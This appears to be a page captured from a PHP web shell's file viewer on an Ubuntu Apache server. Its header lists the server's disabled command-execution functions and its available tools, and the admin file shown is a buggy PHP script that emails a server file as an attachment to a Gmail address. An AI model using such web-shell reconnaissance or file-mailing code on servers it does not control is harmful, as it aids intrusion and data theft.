Server IP : 127.0.0.2 / Your IP : 18.117.121.244 Web Server : Apache/2.4.18 (Ubuntu) System : User : www-data ( ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/admin/ |
Upload File : |
<?php $from = "info@maintenancetraining.com"; $subject = "Testing .txt"; $to = "afsalnishad@gmail.com"; $htmlbody = "This is an <b>html</b> message"; $textmessage = "This is a plain text message"; //define the from \ reply to headers $headers = "From: ".$from."\r\nReply-To: ".$from; //create a unique boundary string to delimit different parts of the email (plain text, html, file attachment) $random_hash = md5(date('r', time())); //add boundary string and mime type specification $headers .= "\r\nContent-Type: multipart/mixed; boundary=\"PHP-mixed-".$random_hash."\""; //read the atachment file contents into a string, //encode it with MIME base64, //and split it into smaller chunks for sending $filename = "upload/abc.txt"; $attachment = chunk_split(base64_encode(file_get_contents($filename))); //define the body of the message. $message = "--PHP-mixed-$random_hash\r\n" ."Content-Type: multipart/alternative; boundary=\"PHP-alt-$random_hash\"\r\n\r\n"; $message .= "--PHP-alt-$random_hash\r\n" ."Content-Type: text/plain; charset=\"iso-8859-1\"\r\n" ."Content-Transfer-Encoding: 7bit\r\n\r\n"; //Insert the plain text message. $message .= strip_tags($textmessage); $message .= "\r\n\r\n--PHP-alt-$random_hash\r\n" ."Content-Type: text/html; charset=\"iso-8859-1\r\n" ."Content-Transfer-Encoding: 7bit\r\n\r\n"; //Insert the html message. $message .= $htmlbody; $message .="\r\n\r\n--PHP-alt-$random_hash--\r\n\r\n"; //include attachment $message .= "--PHP-mixed-$random_hash\r\n" ."Content-Type: application/zip; name=\"attachment.zip\"\r\n" ."Content-Transfer-Encoding: base64\r\n" ."Content-Disposition: attachment\r\n\r\n"; $message .= $attachment; $message .= "/r/n--PHP-mixed-$random_hash--"; //send the email $mail = mail( $to, $subject , $message, $headers ); if ($mail) { echo "Mail sent!"; } else "Mail not sent!"; ?>